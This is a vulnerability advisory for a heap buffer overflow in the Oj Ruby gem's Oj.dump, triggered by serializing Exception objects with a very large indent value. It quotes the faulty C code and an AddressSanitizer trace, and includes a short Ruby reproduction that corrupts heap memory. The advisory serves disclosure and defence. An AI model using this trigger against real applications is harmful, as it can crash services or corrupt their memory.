CVE-2026-54896: Oj: Heap Buffer Overflow in Oj.dump Exception Serialization via Large Indent

Summary

Oj.dump in object mode is vulnerable to a heap buffer overflow when serializing Exception objects with a large :indent value. The serializer allocates a buffer sized for the object's attributes but does not account for the indent bytes added on each write. With indent: 5000, the accumulation of 5,000-byte indent strings overflows the 13,150-byte heap allocation, corrupting adjacent heap memory.

Version

- Software: oj gem - Affected: all versions with ext/oj/dump.h - Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/dump.h, line 75–77:

c static void fillindent(Out out, int depth) { if (0 < out->opts->indent) { memset(out->buf + out->cur, ' ', (sizet)(out->opts->indent depth));

When dumping an Exception object in :object mode, dumpobjattrs calls fillindent repeatedly for each attribute. The buffer is pre-allocated based on the serialized content but not the indentation overhead. With indent: 5000 the indent block for a nested object exceeds the remaining buffer space, producing a heap-buffer-overflow of size 5,000 at the end of the allocated region.

ASAN report: ==101656==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x527000022c5e WRITE of size 5000 at 0x527000022c5e thread T0 #0 memset #1 fillindent /ext/oj/dump.h:77 #2 dumpobjattrs /ext/oj/dumpobject.c:552 #3 dumpobj /ext/oj/dumpobject.c:80 #4 ojdumpobjval /ext/oj/dumpobject.c:708 #5 ojdumpobjtojsonusingparams /ext/oj/dump.c:817 #6 dumpbody /ext/oj/oj.c:1429 #7 dump /ext/oj/oj.c:1480 0x527000022c5e is located 0 bytes after 13150-byte region [0x52700001f900, 0x527000022c5e)

Reproduce

ruby require "oj" obj = Oj.load('{"^o":"RuntimeError"}', mode: :object) Oj.dump(obj, mode: :object, indent: 5000)

Workarounds

This is at the discretion of the developer and not a public facing option so the workaround is the develop should not use extreme indents and should not offer the option for users to dump Ruby data with unlimited indentation size.